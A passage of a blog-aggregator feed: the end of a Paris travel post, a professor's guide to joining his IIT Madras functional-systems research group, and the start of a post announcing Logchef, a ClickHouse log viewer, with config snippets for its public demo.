<p>On the third day, I had my flight for India. Thus, I checked out of the hostel early in the morning, took an RR train from Gare du Nord station to reach the airport. It costs 11.8 euros.</p>
<p>I am listing my expenses during my 3-day stay in Paris below:</p>
<table>
<thead>
<tr>
<th>Category</th>
<th>Amount (in euros)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Food</td>
<td>€40</td>
</tr>
<tr>
<td>Public Transport</td>
<td>€20</td>
</tr>
<tr>
<td>Accommodation (2 nights)</td>
<td>€50</td>
</tr>
<tr>
<td><strong>Total</strong></td>
<td><strong>€110</strong></td>
</tr>
</tbody>
</table>
<p>I heard some of my friends had bad experiences in France. Thus, I had the impression that I would not feel welcomed. Furthermore, I have encountered language problems during my previous Europe trip in Albania and Kosovo. Likewise, I learned a couple of French words, like how to say thank you and good morning, which went a long way.</p>
<p>However, I didn’t have bad experiences in Paris, except for one instance in which I asked my hostel’s reception about my misplaced watch and the person at the reception asked me to be “polite” by being rude. She said, “Excuse me! You don’t know how to say Good Morning?”</p>
<p>Overall, I enjoyed my time in Paris and would like to thank Joenio and Mari for showing me around. I would also like to thank Sophie for giving me a map of Paris, which was handy.</p>
<p>Let’s end this post here. I’ll meet you in the next one!</p>
<p><strong>Credits: Thanks to <a href="https://contrapunctus.codeberg.page">contrapunctus</a> for reviewing this post before publishing</strong></p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Joining my group]]></title>
            <link>https://kcsrk.info/ocaml/iitm/community/2025/04/28/working-with-me/</link>
            <guid isPermaLink="false">https://kcsrk.info/ocaml/iitm/community/2025/04/28/working-with-me/</guid>
            <pubDate>Mon, 28 Apr 2025 12:10:00 GMT</pubDate>
            <description><![CDATA[Recently, I posted on X and
LinkedIn
that I am always looking for excellent people to join my group. I received a lot
of enquiries, some of which led to internship hires (yay!). But mostly, I seemed
to offer similar advice. I thought I’d write a post that summarise my responses.
At IIT Madras, my research group develops
programming language abstractions to solve systems problems. The group is
composed of research associates (fixed-term project staff), PhD, MS and MTech
students, undergraduate research students (who are typically BTech students from
IIT Madars) and interns. I made the following post a few weeks ago, for which I
received a lots of enquiries, and I have been busy writing similar responses to
many of them, which I summarise below.
PSA: I'm always looking for excellent folks to join my research group at IIT Madras to work on building "functional" systems. This includes internships, MS and PhD studentships, research staff positions, and post-baccalaureate fellowships. 
Reach out to me if you are keen!
— KC Sivaramakrishnan (@kc_srk) April 15, 2025
 


Internship positions
Internship enquiries are the most frequent ones that I receive. Here’s how you
can make it work.  Please do go through my web page to
look at what areas I work on. Write to me about what interests you and what your
goals are.
My group works on systems. To make the internship work well, we require that you
have demonstrable systems building experience. Do build projects that go beyond
your coursework.  Make sure that the projects are developed publicly on GitHub
or other similar platforms so that one can take a look at what you’ve
built. Even better is contributions to other open-source projects.
The group solves systems problems with functional programming. If you have prior
experience with functional programming, such as building small projects with
OCaml, Haskell, Scala, Scheme or other languages, it is easier for me to assess
your interest. That said, if you are great at any programming language, having
built non-trivial projects in any language, then you have the right skills for
internships in my group. Generally, I expect the interns to have done course
work on OS, compilers and computer architecture. Significant projects in any of
those areas is a huge plus.
I should clarify that my recommendation letters for graduate programs will
reflect my honest assessment of the internship. I will decline writing a
recommendation letter if I think I may not be able to provide a strong one.
I do not work on projects that are primarily AI/ML or Web Development. If you
write to me looking for projects in those areas, it is very likely that you
won’t hear from me. Please don’t bulk email faculty CCing or BCCing everyone in
the department. It is likely that no one will read such an email.
PhD/MS/MTech positions
For academic positions, please have a look at https://research.iitm.ac.in/.
There are alternative ways to enter MS and PhD positions by being a reserach
associate and completing some coursework at IITM. For more information, see
here.
Contributing to the OCaml community
A significant chunk of the enquiries were from folks who hold full-time
positions looking to be involved in the research group. Unfortunately, making
part-time positions work is a challenge for both sides. I would encourage
contributions to the wider OCaml community.
There are several great ways to get involved with the community. Here’s what I
usually recommend.
Learn the basics.
    
Go through the OCaml part of my CS3100 course. The course has a YouTube
playlist and programming assignments. Complete the programming assignments.
Read the Real World OCaml book.
There are lots of other resources at OCaml.org, the official website of the OCaml community and the ecosystem.
Join the community.
    
OCaml discord and discuss are great places to hang out with other OCaml folks and ask questions.
Discord is better for quick clarifications and discuss for longer form discussions.
Look for “good first issues” in the OCaml projects and work on them
    
Check out the core platform tools under the OCaml github org. See OCaml compiler, dune build system, opam package manager, ocaml.org, etc.
Across the wider ecosystem – SemGrep, OpenGrep, Rocq, etc.
Work on self-directed projects. Here is my list of ideas.
OCaml community also participates in Outreachy
internships. Outreachy internships are paid
internships for underrepresented groups. It is a great way to contribute to the
community while being mentored by folks from the OCaml community. Here’s a nice
intro (in Tamil) to the
impact that Outreachy program had on an Outreachy intern. Look out for
announcements about
Outreachy internships in the OCaml discuss forum.
Research Associate positions
This is for folks who want to contribute to the core research programme but do
not see themselves joining academic programs. The expectation here is that you
are an experiened systems engineer, who should see themselves easily qualifying
for the internship positions in the group.
One useful way to look at this position is similar to a research software
development engineer who helps build out the systems used for research or
translate research to practice. In the past, research associates have helped
upstream multicore
OCaml.
The easiest way to get into this role would be to do an internship, see whether
you like this area, do well in the internship and then choose to apply to
research associate position.
Another variant is a post-bacc or a pre-doc position aimed at highly motivated
recent graduates, who are looking to build research experience. The expectation
here is that we get papers into top venues in PL and Systems. For such students,
I recommend going through my CS6225 Programs and Proofs
course, watch the video
lectures
and complete the
assignments.
The course is not an easy one, but will expose you to the broad area of PL and
specifically to deductive program verification. At the very least, you will come
out with an understanding of what it is to think rigorously about program
correctness.
Research associate positions are fixed-term positions. In order to make this
work, the tenure should be at least 18 months to make it work.
Summary
While I may not be hiring actively all the time, do reach out to me if you are
interested in any of hte above. Please follow me on
LinkedIn,
X or Bluesky,
where I am likely to announce any open positions.]]></description>
            <content:encoded><![CDATA[<p>Recently, I posted on <a href="https://x.com/kc_srk/status/1912008952340164804">X</a> and
<a href="https://www.linkedin.com/posts/kc-sivaramakrishnan-25061a14_kc-sivaramakrishnan-activity-7317777561936183296-8hH-/">LinkedIn</a>
that I am always looking for excellent people to join my group. I received a lot
of enquiries, some of which led to internship hires (yay!). But mostly, I seemed
to offer similar advice. I thought I’d write a post that summarise my responses.</p>

<!--more-->

<p>At IIT Madras, my <a href="https://github.com/prismlab">research group</a> develops
programming language abstractions to solve systems problems. The group is
composed of research associates (fixed-term project staff), PhD, MS and MTech
students, undergraduate research students (who are typically BTech students from
IIT Madars) and interns. I made the following post a few weeks ago, for which I
received a lots of enquiries, and I have been busy writing similar responses to
many of them, which I summarise below.</p>

<center>
<blockquote class="twitter-tweet"><p lang="en" dir="ltr">PSA: I&#39;m always looking for excellent folks to join my research group at IIT Madras to work on building &quot;functional&quot; systems. This includes internships, MS and PhD studentships, research staff positions, and post-baccalaureate fellowships. <br /><br />Reach out to me if you are keen!</p>&mdash; KC Sivaramakrishnan (@kc_srk) <a href="https://twitter.com/kc_srk/status/1912008952340164804?ref_src=twsrc%5Etfw">April 15, 2025</a></blockquote> 
</center>

<h2 id="internship-positions">Internship positions</h2>

<p>Internship enquiries are the most frequent ones that I receive. Here’s how you
can make it work.  Please do go through my <a href="https://kcsrk.info">web page</a> to
look at what areas I work on. Write to me about what interests you and what your
goals are.</p>

<p>My group works on systems. To make the internship work well, we require that you
have demonstrable systems building experience. Do build projects that go beyond
your coursework.  Make sure that the projects are developed publicly on GitHub
or other similar platforms so that one can take a look at what you’ve
built. Even better is contributions to other open-source projects.</p>

<p>The group solves systems problems with functional programming. If you have prior
experience with functional programming, such as building small projects with
OCaml, Haskell, Scala, Scheme or other languages, it is easier for me to assess
your interest. That said, if you are great at any programming language, having
built non-trivial projects in any language, then you have the right skills for
internships in my group. Generally, I expect the interns to have done course
work on OS, compilers and computer architecture. Significant projects in any of
those areas is a huge plus.</p>

<p>I should clarify that my recommendation letters for graduate programs will
reflect my honest assessment of the internship. I will decline writing a
recommendation letter if I think I may not be able to provide a strong one.</p>

<p>I do not work on projects that are primarily AI/ML or Web Development. If you
write to me looking for projects in those areas, it is very likely that you
won’t hear from me. Please don’t bulk email faculty CCing or BCCing everyone in
the department. It is likely that no one will read such an email.</p>

<h2 id="phdmsmtech-positions">PhD/MS/MTech positions</h2>

<p>For academic positions, please have a look at <a href="https://research.iitm.ac.in/">https://research.iitm.ac.in/</a>.
There are alternative ways to enter MS and PhD positions by being a reserach
associate and completing some coursework at IITM. For more information, see
<a href="https://cystar.iitm.ac.in/join-us/#:~:text=Pathways%20to%20IIT%20Madras">here</a>.</p>

<h2 id="contributing-to-the-ocaml-community">Contributing to the OCaml community</h2>

<p>A significant chunk of the enquiries were from folks who hold full-time
positions looking to be involved in the research group. Unfortunately, making
part-time positions work is a challenge for both sides. I would encourage
contributions to the wider OCaml community.</p>

<p>There are several great ways to get involved with the community. Here’s what I
usually recommend.</p>

<ul>
  <li>Learn the basics.
    <ul>
      <li>Go through the OCaml part of my <a href="https://github.com/fplaunchpad/cs3100_m20">CS3100 course</a>. The course has a YouTube
playlist and programming assignments. Complete the programming assignments.</li>
      <li>Read the <a href="https://dev.realworldocaml.org/">Real World OCaml</a> book.</li>
      <li>There are lots of other resources at <a href="https://ocaml.org/">OCaml.org</a>, the official website of the OCaml community and the ecosystem.</li>
    </ul>
  </li>
  <li>Join the community.
    <ul>
      <li>OCaml <a href="https://discord.com/invite/ZBgYuvR">discord</a> and <a href="https://discuss.ocaml.org/">discuss</a> are great places to hang out with other OCaml folks and ask questions.</li>
      <li>Discord is better for quick clarifications and discuss for longer form discussions.</li>
    </ul>
  </li>
  <li>Look for “good first issues” in the OCaml projects and work on them
    <ul>
      <li>Check out the core platform tools under the <a href="https://github.com/search?q=label%3A%22good+first+issue%22+language%3AOCaml+state%3Aopen+org%3Aocaml&amp;type=issues">OCaml github org</a>. See <a href="https://github.com/ocaml/ocaml/issues?q=is%3Aissue%20state%3Aopen%20label%3A%22good%20first%20issue%22">OCaml compiler</a>, <a href="https://github.com/ocaml/dune/issues?q=is%3Aissue%20state%3Aopen%20label%3A%22good%20first%20issue%22">dune build system</a>, <a href="https://github.com/ocaml/opam/issues?q=is%3Aissue%20state%3Aopen%20label%3A%22easy%20first%20issue%22">opam package manager</a>, <a href="https://github.com/ocaml/ocaml.org/issues?q=is%3Aissue%20state%3Aopen%20label%3A%22good%20first%20issue%22">ocaml.org</a>, etc.</li>
      <li>Across the wider ecosystem – <a href="https://github.com/semgrep/semgrep/issues?q=is%3Aissue%20state%3Aopen%20label%3A%22good%20first%20issue%22%20">SemGrep</a>, <a href="https://github.com/opengrep/opengrep/issues?q=is%3Aissue%20state%3Aopen%20label%3A%22good%20first%20issue%22">OpenGrep</a>, <a href="https://github.com/rocq-prover/rocq/issues?q=is%3Aissue%20state%3Aopen%20label%3A%22good%20first%20issue%22">Rocq</a>, etc.</li>
    </ul>
  </li>
  <li>Work on self-directed projects. Here is my <a href="https://github.com/tarides/hackocaml">list of ideas</a>.</li>
</ul>

<p>OCaml community also participates in <a href="https://ocaml.org/outreachy">Outreachy
internships</a>. Outreachy internships are paid
internships for underrepresented groups. It is a great way to contribute to the
community while being mentored by folks from the OCaml community. Here’s a <a href="https://www.youtube.com/watch?v=5eLRm8riAnI&amp;t=970s">nice
intro (in Tamil)</a> to the
impact that Outreachy program had on an Outreachy intern. Look out for
<a href="https://discuss.ocaml.org/t/outreachy-june-2025/16154">announcements</a> about
Outreachy internships in the OCaml discuss forum.</p>

<h2 id="research-associate-positions">Research Associate positions</h2>

<p>This is for folks who want to contribute to the core research programme but do
not see themselves joining academic programs. The expectation here is that you
are an experiened systems engineer, who should see themselves easily qualifying
for the internship positions in the group.</p>

<p>One useful way to look at this position is similar to a research software
development engineer who helps build out the systems used for research or
translate research to practice. In the past, research associates have <a href="https://kcsrk.info/ocaml/multicore/job/2019/09/16/1115-multicore-job/">helped
upstream multicore
OCaml</a>.
The easiest way to get into this role would be to do an internship, see whether
you like this area, do well in the internship and then choose to apply to
research associate position.</p>

<p>Another variant is a post-bacc or a pre-doc position aimed at highly motivated
recent graduates, who are looking to build research experience. The expectation
here is that we get papers into top venues in PL and Systems. For such students,
I recommend going through my <a href="https://github.com/fplaunchpad/cs6225_s25_iitm">CS6225 Programs and Proofs
course</a>, watch the <a href="https://www.youtube.com/playlist?list=PLt0HgEXFOHdkfd7phdKKmTIuwHEvPX0qb">video
lectures</a>
and complete the
<a href="https://github.com/fplaunchpad/cs6225_s25_iitm/tree/main/assignments">assignments</a>.
The course is not an easy one, but will expose you to the broad area of PL and
specifically to deductive program verification. At the very least, you will come
out with an understanding of what it is to think rigorously about program
correctness.</p>

<p>Research associate positions are fixed-term positions. In order to make this
work, the tenure should be at least 18 months to make it work.</p>

<h2 id="summary">Summary</h2>

<p>While I may not be hiring actively all the time, do reach out to me if you are
interested in any of hte above. Please follow me on
<a href="https://www.linkedin.com/in/kc-sivaramakrishnan-25061a14/">LinkedIn</a>,
<a href="https://x.com/kc_srk">X</a> or <a href="https://bsky.app/profile/kcsrk.info">Bluesky</a>,
where I am likely to announce any open positions.</p>
]]></content:encoded>
            <author>KC Sivaramakrishnan</author>
        </item>
        <item>
            <title><![CDATA[Announcing Logchef]]></title>
            <link>https://mrkaran.dev/posts/announcing-logchef/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/announcing-logchef/</guid>
            <pubDate>Sun, 27 Apr 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[So, for the last 3-4 months, I’ve been busy building Logchef. This tool basically grew straight out of my day job managing logs at Zerodha, where I’ve been managing logs for almost half a decade. I wanted to share a bit about how Logchef came to be.
Like many, we journeyed through the complexities of ELK (a management nightmare) and found its OSS fork, OpenSearch, didn’t quite hit the mark for us either. We eventually found solid ground with Clickhouse, as detailed on our tech blog: Logging at Zerodha.
Challenges Faced with Metabase#
However, as I noted in that post, while Metabase served us well for analytics, it wasn’t the ideal UI specifically tailored for log analysis against Clickhouse:
“While Metabase has served us well so far, there is certainly room for improvement, especially regarding a more tailored UI for Clickhouse… we plan to continue exploring potential solutions.”
Here’s a distilled version of the common pain points we experienced:
Ad-hoc Querying Was Painful: Writing raw Clickhouse SQL in Metabase for quick log searches felt cumbersome and slow. Even modifying existing complex query templates was error-prone – a tiny syntax mistake could lead to minutes spent debugging the query itself, especially stressful during production incidents.
Disconnect Between Visualization and Raw Logs: A common workflow is to visualize trends (e.g., errors over time) and then drill down into the specific logs causing those trends. In Metabase, this often meant writing two separate queries – one for aggregation/visualization and another (often rewritten from scratch) just to see the raw log lines. Metabase’s row limits (around 2k) further complicated viewing the full context of raw logs after filtering.
The intuitive “slice and drill-down” experience many log tools offer was missing.
UI/UX Annoyances: Several smaller but cumulative issues added friction: difficulty selecting precise time ranges like “last 6 hours,” viewing logs immediately surrounding a relevant event, columns getting truncated (...), and limited timestamp precision display in results. Though there are some workarounds, they often felt like band-aids rather than solutions.
TL;DR: Metabase interface wasn’t optimized for the specific task of log exploration. Debugging sessions that should have taken minutes were stretching significantly longer. Querying and exploring logs felt clunkier than it needed to be.
And one fine day, I decided to stop just wishing for a better tool and start building one:

Logchef#
When I first started prototyping, I kept the scope pretty tight: just build a viewer for the standard OTEL schema. OTEL’s flexible enough, but a quick chat with Kailash  sparked what turned out to be a game-changing idea: make Logchef schema-agnostic. And that really became the core concept.
Basically, Logchef lets you connect it straight to your existing Clickhouse log tables, no matter their structure. All it really needs is a timestamp field (DateTime or DateTime64). Bring your own custom schemas, stick with the OTEL standard, or even adapt it to your own needs. Logchef doesn’t force you into a specific format. From what I’ve seen, not many tools offer this kind of plug-and-play flexibility with existing tables today.
Logchef is designed as a specialized query and visualization layer sitting on top of Clickhouse. Logchef intentionally excludes log collection and ingestion. Why reinvent the wheel when excellent tools like Vector, Fluentbit, Filebeat, etc., already handle this reliably? Logchef focuses purely on exploring the logs once it’s in Clickhouse.
Stack#
Backend: Written in Go for performance and concurrency.
Metadata Storage: Uses SQLite for lightweight management of users, teams, Clickhouse source connections, and query collections. It’s simple and perfectly suited for this kind of a metadata store.
Frontend: An interactive log viewer with Vue.js and styled with shadcn/ui and Tailwind CSS. I also implemented a simple search syntax for common filtering tasks (e.g., status=200 and path~"/api/"). This involved writing a tokenizer and parser that translates this syntax into efficient ClickHouse SQL conditions optimised for querying logs. Building this parser, validator, and integrating it smoothly with the Monaco editor for syntax highlighting was a significant effort but quite happy with the end result.
Setting Up the Public Demo (demo.logchef.app)#

I wanted a public demo instance so people could try Logchef easily. Setting this up involved a few specific tweaks compared to a standard deployment, all managed within the Docker Compose setup:
Generating Dummy Data: A log viewer isn’t much use without logs! Instead of ingesting real data, I configured vector using its demo_logs source type. This continuously generates realistic-looking syslog and HTTP access logs and pushes them into the demo Clickhouse instance (syslogs and http_logs tables). It gives users immediate data to query without any setup on their part.
# vector.toml snippet
[sources.generate_syslog]
type = "demo_logs"
format = "syslog"
interval = 0.3 # Generate logs frequently

[sinks.clickhouse_syslog]
# ... config to send to Clickhouse ...
table = "syslogs"


Securing Admin Endpoints (Demo Mode): Since this is a public, shared instance, I wanted to prevent users from making potentially disruptive changes via the API (like deleting sources or teams). I used Caddy as the reverse proxy and configured it to intercept requests to admin-specific API routes (like /api/v1/admin/*) and block any method other than GET. If someone tries a POST, PUT, or DELETE to these endpoints, Caddy returns a 403 Forbidden directly. This keeps the demo environment stable.
Caddyfile snippet (conceptual)
handle /api/v1/admin/* {
    @block_methods method POST PUT DELETE PATCH
    respond @block_methods `{"error":"Operation not permitted in demo mode"}` 403
    reverse_proxy logchef:8125 # Forward GET requests
}


Improving Demo Login UX: Logchef uses OIDC for authentication. For the demo, I’m running Dex as the OIDC provider. To make it completely frictionless for users, I didn’t want them needing to sign up or guess credentials. I simply customized Dex’s theme template for the login page to explicitly display the static demo username (demo@logchef.app) and password (password) right there. It’s a small UX tweak (again, thanks to Kailash for the idea!), but it means anyone landing on the demo can log in instantly.
<!-- Dex login template snippet -->
<div class="dex-info-box">
  <strong>Demo Credentials:</strong><br>
  Username: <code>demo@logchef.app</code><br>
  Password: <code>password</code>
</div>
<input ... value="demo@logchef.app" .../>
<input ... type="password" value="password" .../>


What’s Next?#
Logchef is already being used internally, but the journey towards a full v1.0 release continues this year. The roadmap includes exciting additions like:
Alerting: Trigger notifications based on query results.
Live Tail Logs: Stream logs in real-time.
Enhanced Dashboarding: More powerful visualization capabilities.
Logchef is open source (AGPLv3), and community involvement is welcomed. You can check out the Demo or view the code on GitHub.
If you have more ideas or features you’d like to see, please reach out on GitHub or email me! I’m always open to suggestions and feedback.
Honestly, building Logchef has been incredibly rewarding. It started as a way to fix something that bugged me (and others!), and seeing it turn into a tool I’m genuinely excited about feels great.
I couldn’t have done it alone, though. I’m really grateful to my friends and colleagues who jumped in with feedback along the way. Huge thanks to Kailash for the constant support and encouragement, and to Vivek, Sarat, and Rohan for testing the early builds and offering great suggestions.
Finally, a big thank you to my wife, who patiently endured my late-night coding sessions. Her support means the world to me <3
Fin!]]></description>
            <content:encoded><![CDATA[<p>So, for the last 3-4 months, I’ve been busy building <a rel="external" href="https://logchef.app">Logchef</a>. This tool basically grew straight out of my day job managing logs at <a rel="external" href="https://zerodha.tech">Zerodha</a>, where I’ve been managing logs for almost half a decade. I wanted to share a bit about how Logchef came to be.</p>
<p>Like many, we journeyed through the complexities of ELK (a management nightmare) and found its OSS fork, OpenSearch, didn’t quite hit the mark for us either. We eventually found solid ground with Clickhouse, as detailed on our tech blog: <a rel="external" href="https://zerodha.tech/blog/logging-at-zerodha/">Logging at Zerodha</a>.</p>
<h2 id="challenges-faced-with-metabase">Challenges Faced with Metabase<a class="zola-anchor" href="#challenges-faced-with-metabase" aria-label="Anchor link for: challenges-faced-with-metabase">#</a></h2>
<p>However, as I noted in that post, while Metabase served us well for analytics, it wasn’t the ideal UI specifically tailored for log analysis against Clickhouse:</p>
<blockquote>
<p>“While Metabase has served us well so far, there is certainly room for improvement, especially regarding a more tailored UI for Clickhouse… we plan to continue exploring potential solutions.”</p>
</blockquote>
<p>Here’s a distilled version of the common pain points we experienced:</p>
<ul>
<li><strong>Ad-hoc Querying Was Painful:</strong> Writing raw Clickhouse SQL in Metabase for quick log searches felt cumbersome and slow. Even modifying existing complex query templates was error-prone – a tiny syntax mistake could lead to minutes spent debugging the query itself, especially stressful during production incidents.</li>
<li><strong>Disconnect Between Visualization and Raw Logs:</strong> A common workflow is to visualize trends (e.g., errors over time) and then drill down into the specific logs causing those trends. In Metabase, this often meant writing <em>two separate queries</em> – one for aggregation/visualization and another (often rewritten from scratch) just to see the raw log lines. Metabase’s row limits (around 2k) further complicated viewing the full context of raw logs after filtering.
The intuitive “slice and drill-down” experience many log tools offer was missing.</li>
<li><strong>UI/UX Annoyances:</strong> Several smaller but cumulative issues added friction: difficulty selecting precise time ranges like “last 6 hours,” viewing logs immediately surrounding a relevant event, columns getting truncated (<code>...</code>), and limited timestamp precision display in results. Though there are some workarounds, they often felt like band-aids rather than solutions.</li>
</ul>
<p>TL;DR: Metabase interface wasn’t optimized for the specific task of log exploration. Debugging sessions that <em>should</em> have taken minutes were stretching significantly longer. Querying and exploring logs felt clunkier than it needed to be.</p>
<p>And one fine day, <strong>I decided to stop just wishing for a better tool and start building one:</strong></p>
<p><img src="https://mrkaran.dev/images/logchef_blog_1.png" alt="Logchef" /></p>
<h2 id="logchef">Logchef<a class="zola-anchor" href="#logchef" aria-label="Anchor link for: logchef">#</a></h2>
<p>When I first started prototyping, I kept the scope pretty tight: just build a viewer for the standard <a rel="external" href="https://opentelemetry.io/docs/specs/otel/logs/data-model/">OTEL schema</a>. OTEL’s flexible enough, but a quick chat with <a rel="external" href="https://nadh.in/">Kailash</a>  sparked what turned out to be a game-changing idea: make Logchef schema-agnostic. And that really became the core concept.</p>
<p>Basically, Logchef lets you connect it straight to your existing Clickhouse log tables, no matter their structure. All it really needs is a timestamp field (<code>DateTime</code> or <code>DateTime64</code>). Bring your own custom schemas, stick with the OTEL standard, or even adapt it to your own needs. Logchef doesn’t force you into a specific format. From what I’ve seen, not many tools offer this kind of plug-and-play flexibility with existing tables today.</p>
<p>Logchef is designed as a specialized query and visualization layer sitting on top of Clickhouse. Logchef <em>intentionally</em> excludes log collection and ingestion. Why reinvent the wheel when excellent tools like Vector, Fluentbit, Filebeat, etc., already handle this reliably? Logchef focuses purely on exploring the logs once it’s in Clickhouse.</p>
<h2 id="stack">Stack<a class="zola-anchor" href="#stack" aria-label="Anchor link for: stack">#</a></h2>
<ul>
<li>Backend: Written in Go for performance and concurrency.</li>
<li>Metadata Storage: Uses SQLite for lightweight management of users, teams, Clickhouse source connections, and query collections. It’s simple and perfectly suited for this kind of a metadata store.</li>
<li>Frontend: An interactive log viewer with Vue.js and styled with shadcn/ui and Tailwind CSS. I also implemented a simple search syntax for common filtering tasks (e.g., <code>status=200 and path~"/api/"</code>). This involved writing a tokenizer and parser that translates this syntax into efficient ClickHouse SQL conditions optimised for querying logs. Building this parser, validator, and integrating it smoothly with the Monaco editor for syntax highlighting was a significant effort but quite happy with the end result.</li>
</ul>
<h2 id="setting-up-the-public-demo-demo-logchef-app">Setting Up the Public Demo (<code>demo.logchef.app</code>)<a class="zola-anchor" href="#setting-up-the-public-demo-demo-logchef-app" aria-label="Anchor link for: setting-up-the-public-demo-demo-logchef-app">#</a></h2>
<p><img src="https://mrkaran.dev/images/logchef_blog_2.png" alt="Logchef Screenshot" /></p>
<p>I wanted a public <a rel="external" href="https://demo.logchef.app">demo instance</a> so people could try Logchef easily. Setting this up involved a few specific tweaks compared to a standard deployment, all managed within the Docker Compose setup:</p>
<ol>
<li>
<p><strong>Generating Dummy Data:</strong> A log viewer isn’t much use without logs! Instead of ingesting real data, I configured <code>vector</code> using its <code>demo_logs</code> source type. This continuously generates realistic-looking syslog and HTTP access logs and pushes them into the demo Clickhouse instance (<code>syslogs</code> and <code>http_logs</code> tables). It gives users immediate data to query without any setup on their part.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="toml"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> vector.toml snippet</span></span>
<span class="giallo-l"><span>[</span><span style="color: light-dark(#6F42C1, #F69D50);">sources</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">generate_syslog</span><span>]</span></span>
<span class="giallo-l"><span>type</span><span> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">demo_logs</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>format</span><span> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">syslog</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>interval</span><span> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 0.3</span><span style="color: light-dark(#6A737D, #768390);"> #</span><span style="color: light-dark(#6A737D, #768390);"> Generate logs frequently</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>[</span><span style="color: light-dark(#6F42C1, #F69D50);">sinks</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">clickhouse_syslog</span><span>]</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> ... config to send to Clickhouse ...</span></span>
<span class="giallo-l"><span>table</span><span> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">syslogs</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span></code></pre></li>
<li>
<p><strong>Securing Admin Endpoints (Demo Mode):</strong> Since this is a public, shared instance, I wanted to prevent users from making potentially disruptive changes via the API (like deleting sources or teams). I used <code>Caddy</code> as the reverse proxy and configured it to intercept requests to admin-specific API routes (like <code>/api/v1/admin/*</code>) and block any method other than <code>GET</code>. If someone tries a <code>POST</code>, <code>PUT</code>, or <code>DELETE</code> to these endpoints, Caddy returns a <code>403 Forbidden</code> directly. This keeps the demo environment stable.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>Caddyfile snippet (conceptual)</span></span>
<span class="giallo-l"><span>handle /api/v1/admin/* {</span></span>
<span class="giallo-l"><span>    @block_methods method POST PUT DELETE PATCH</span></span>
<span class="giallo-l"><span>    respond @block_methods `{&quot;error&quot;:&quot;Operation not permitted in demo mode&quot;}` 403</span></span>
<span class="giallo-l"><span>    reverse_proxy logchef:8125 # Forward GET requests</span></span>
<span class="giallo-l"><span>}</span></span></code></pre></li>
<li>
<p><strong>Improving Demo Login UX:</strong> Logchef uses OIDC for authentication. For the demo, I’m running <code>Dex</code> as the OIDC provider. To make it completely frictionless for users, I didn’t want them needing to sign up or guess credentials. I simply customized Dex’s theme template for the login page to explicitly display the static demo username (<code>demo@logchef.app</code>) and password (<code>password</code>) right there. It’s a small UX tweak (again, thanks to Kailash for the idea!), but it means anyone landing on the demo can log in instantly.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="html"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">&lt;!--</span><span style="color: light-dark(#6A737D, #768390);"> Dex login template snippet </span><span style="color: light-dark(#6A737D, #768390);">--&gt;</span></span>
<span class="giallo-l"><span>&lt;</span><span style="color: light-dark(#22863A, #8DDB8C);">div</span><span style="color: light-dark(#6F42C1, #6CB6FF);"> class</span><span>=</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">dex-info-box</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>&gt;</span></span>
<span class="giallo-l"><span>  &lt;</span><span style="color: light-dark(#22863A, #8DDB8C);">strong</span><span>&gt;</span><span>Demo Credentials:</span><span>&lt;/</span><span style="color: light-dark(#22863A, #8DDB8C);">strong</span><span>&gt;</span><span>&lt;</span><span style="color: light-dark(#22863A, #8DDB8C);">br</span><span>&gt;</span></span>
<span class="giallo-l"><span>  Username: </span><span>&lt;</span><span style="color: light-dark(#22863A, #8DDB8C);">code</span><span>&gt;</span><span>demo@logchef.app</span><span>&lt;/</span><span style="color: light-dark(#22863A, #8DDB8C);">code</span><span>&gt;</span><span>&lt;</span><span style="color: light-dark(#22863A, #8DDB8C);">br</span><span>&gt;</span></span>
<span class="giallo-l"><span>  Password: </span><span>&lt;</span><span style="color: light-dark(#22863A, #8DDB8C);">code</span><span>&gt;</span><span>password</span><span>&lt;/</span><span style="color: light-dark(#22863A, #8DDB8C);">code</span><span>&gt;</span></span>
<span class="giallo-l"><span>&lt;/</span><span style="color: light-dark(#22863A, #8DDB8C);">div</span><span>&gt;</span></span>
<span class="giallo-l"><span>&lt;</span><span style="color: light-dark(#22863A, #8DDB8C);">input</span><span style="color: light-dark(#6F42C1, #6CB6FF);"> ...</span><span style="color: light-dark(#6F42C1, #6CB6FF);"> value</span><span>=</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">demo@logchef.app</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#6F42C1, #6CB6FF);"> ...</span><span>/&gt;</span></span>
